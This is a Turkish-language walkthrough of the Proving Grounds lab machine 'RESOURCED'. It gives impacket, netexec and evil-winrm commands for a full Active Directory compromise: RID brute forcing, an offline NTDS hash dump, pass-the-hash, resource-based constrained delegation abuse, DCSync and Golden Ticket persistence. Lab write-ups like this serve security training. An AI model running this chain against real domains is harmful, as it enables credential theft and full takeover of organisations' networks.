Proving Grounds RESOURCED — Tam Cozum Yuruyusu (Null Session RID Brute -> Description Parolasi -> NTDS Yedegi -> PtH -> RBCD -> DA)
RESOURCED kutusunun bastan sona cozumu: SMB null session + RID brute ile kullanici listesi, V.Ventz description alanindaki parola, yedek share icindeki ntds.dit + SYSTEM yedeginden offline secretsdump ile L.Livingstone NT hash cikarma, WinRM uzerinden Pass-the-Hash, ardindan RESOURCEDC computer objesi uzerindeki GenericAll'i RBCD'ye cevirip Administrator impersonation ile Domain Admin.
- Hedef DC ile ag baglantisi (VPN/tap) ve duzeltilmis /etc/hosts
- Kerberos saldirilarinda kritik: saat senkronu (clock skew < 5 dk)
- impacket-suite, netexec/nxc, evil-winrm, bloodhound-python yuklu Kali
Komutlar
echo "{{DC_IP}} {{DC_HOST}} {{DOMAIN}} {{DC_HOST}}.{{DOMAIN}}" | sudo tee -a /etc/hosts sudo ntpdate -u {{DC_IP}} nmap -Pn -p- --min-rate 2000 -sV -sC -oA resourced {{DC_IP}} nxc smb {{DC_IP}} -u '' -p '' --shares nxc smb {{DC_IP}} -u '' -p '' --rid-brute 10000 impacket-lookupsid {{DOMAIN}}/anonymous@{{DC_IP}} -no-pass enum4linux-ng -A -u '' -p '' {{DC_IP}} nxc ldap {{DC_IP}} -u '{{USER}}' -p '{{PASS}}' --query "(objectClass=user)" "sAMAccountName description" nxc smb {{DC_IP}} -u '{{USER}}' -p '{{PASS}}' --shares smbclient \\\\{{DC_IP}}\\"Password Audit" -U '{{DOMAIN}}/{{USER}}%{{PASS}}' impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL nxc winrm {{DC_IP}} -u 'L.Livingstone' -H {{NTHASH}} evil-winrm -i {{DC_IP}} -u L.Livingstone -H {{NTHASH}} bloodhound-python -d {{DOMAIN}} -u L.Livingstone --hashes :{{NTHASH}} -ns {{DC_IP}} -c All --zip impacket-addcomputer -computer-name 'ATTACK$' -computer-pass 'Attack123!' -dc-host {{DC_HOST}} -domain-netbios {{DOMAIN}} '{{DOMAIN}}/L.Livingstone' -hashes :{{NTHASH}} impacket-rbcd -delegate-from 'ATTACK$' -delegate-to 'RESOURCEDC$' -action write -dc-ip {{DC_IP}} '{{DOMAIN}}/L.Livingstone' -hashes :{{NTHASH}} impacket-getST -spn 'cifs/{{DC_HOST}}' -impersonate Administrator -dc-ip {{DC_IP}} '{{DOMAIN}}/ATTACK$:Attack123!' export KRB5CCNAME=$(pwd)/Administrator.ccache impacket-secretsdump -k -no-pass {{DC_HOST}}.{{DOMAIN}} -just-dc-user Administrator evil-winrm -i {{DC_IP}} -u Administrator -H {{NTHASH}} Senaryo Ozeti
RESOURCED, Proving Grounds Practice’in en cok takilinan kutularindan. Ders dizisi sudur: null session ile kullanici toplamak -> bir description alaninda gizli parola -> yetkili share icinde ntds.dit yedegi -> offline secretsdump -> Pass-the-Hash -> RBCD ile Domain Admin. Burada her adim bir oncekinin ciktisi ile beslenir, o yuzden token degerlerini (ornek parantez icinde) dikkatli takip et.
0. Hazirlik — DNS ve Saat
Kerberos saldirilarinin (getST, S4U) en sik patladigi yer iki sebep: isim cozumleme ve saat farki. Once {{DC_IP}} -> {{DC_HOST}}.{{DOMAIN}} esleştirmesini /etc/hosts’a yaz (ornek: resourcedc.resourced.local, domain resourced.local). Sonra sudo ntpdate -u {{DC_IP}} ile DC saatine senkron ol. KRB_AP_ERR_SKEW gorursen sebebi 5 dakikadan buyuk saat farkidir; ntpdate calismazsa sudo rdate -n {{DC_IP}} dene.
1. Recon ve Null Session
Tam port taramasi (nmap -p-) ile DC parmak izini dogrula: 88 (Kerberos), 389/636 (LDAP/S), 445 (SMB), 5985 (WinRM). Bu kutuda anonim SMB acik; nxc smb {{DC_IP}} -u '' -p '' ile null session’i dogrula.
2. Kullanici Listesi — RID Brute
Null session uzerinden --rid-brute SAMR’i kullanarak her RID’i isim ile esler ve domain kullanicilarini dokumler (V.Ventz, L.Livingstone, …). impacket karsiligi impacket-lookupsid ile capraz dogrula. Neden RID brute? Cunku anonim baglantida dogrudan kullanici listesi cekemeyebiliriz ama RID->isim cozumlemesi cogu zaman acik kalir.
3. Description Alanindaki Parola (V.Ventz)
AD’de description/info alanlarina admin’lerin parola yazmasi klasik bir hatadir. enum4linux-ng -A -u '' -p '' ciktisinda VEYA LDAP query ile V.Ventz kullanicisinin description’inda parolayi gor (ornek deger: HotelCalifornia194). Artik dusuk yetkili ama gecerli bir domain hesabin var: V.Ventz / HotelCalifornia194.
4. Yedek Share — ntds.dit + SYSTEM
V.Ventz kimligiyle --shares listesini cek; standart paylasimlar disinda bir yedek/audit share’i (ornek: ‘Password Audit’) goreceksin. smbclient ile baglan, recurse ON; prompt OFF; mget * yaparak icindeki Active Directory\ntds.dit ve registry\SYSTEM dosyalarini indir. ntds.dit tum domain’in parola veritabani, SYSTEM ise onu desifre etmek icin gereken boot key’i tasir.
5. Offline NTDS Dump
DC’ye dokunmadan, indirilen dosyalardan hash cikar: impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL. LOCAL kelimesi kritik — dosya tabanli offline mod oldugumuzu soyler (uzaktaki host’a baglanmaz, o yuzden -k/-no-pass yok). Ciktida L.Livingstone:...:NTHASH::: satirini al; bu kullanici WinRM’e yetkili.
6. Pass-the-Hash ile WinRM
NT hash ile parola kirmaya gerek yok; dogrudan PtH. Once nxc winrm {{DC_IP}} -u 'L.Livingstone' -H {{NTHASH}} ile (Pwn3d!) dogrula, sonra evil-winrm -i {{DC_IP}} -u L.Livingstone -H {{NTHASH}}. Bu shell henuz DA degil; foothold ve BloodHound toplama icin.
7. BloodHound — GenericAll Tespiti
bloodhound-python ... --hashes :{{NTHASH}} ile grafigi topla. Onemli bulgu: L.Livingstone’un domain controller computer objesi RESOURCEDC$ uzerinde GenericAll yetkisi var. Bir computer objesinde GenericAll = o objenin msDS-AllowedToActOnBehalfOfOtherIdentity ozelligini biz yazabiliriz = Resource-Based Constrained Delegation kurabiliriz.
8. RBCD Zinciri (DA’ya cikis)
Adimlar sirasiyla:
- addcomputer: Kontrolumuzde bir makine hesabi yarat (
ATTACK$/Attack123!). Bu MachineAccountQuota sayesinde mumkun (varsayilan 10). Bu hesap delegation’infromtarafi. - rbcd write:
RESOURCEDC$uzerineATTACK$’i delegate-from olarak yaz. GenericAll’imiz tam da bu yazmaya izin verir. - getST: S4U2Self + S4U2Proxy ile
ATTACK$kimligiyleAdministrator’i impersonate edipcifs/{{DC_HOST}}ticket’i al. SPN’in host kismi DC’nin FQDN’i olmali (IP degil), aksi halde ticket bos doner. - KRB5CCNAME export et, sonra
secretsdump -k -no-passile DCSync yap. Administrator olarak DC’den hash cektigimiz an domain dustu.
9. Sonuc — Domain Admin
DCSync ciktisindaki Administrator NT hash ile evil-winrm -u Administrator -H {{NTHASH}} veya psexec -k -no-pass ile DC’de SYSTEM/DA shell ve proof.txt. krbtgt hash’i de elde oldugu icin Golden Ticket persistence mumkun.
Gotchas
- secretsdump LOCAL modunda -k/-no-pass kullanma; o flag’ler uzak Kerberos modu icindir.
- getST SPN’inde mutlaka FQDN (
cifs/resourcedc.resourced.local) kullan, IP koyma. - rbcd ve getST oncesi saat senkronunu tekrar kontrol et; uzun enumerasyon sirasinda kayabilir.
- addcomputer ‘STATUS_ACCESS_DENIED’ verirse MachineAccountQuota 0 olabilir; o durumda mevcut bir computer objesi (GenericWrite oldugumuz) uzerinden delegation kur.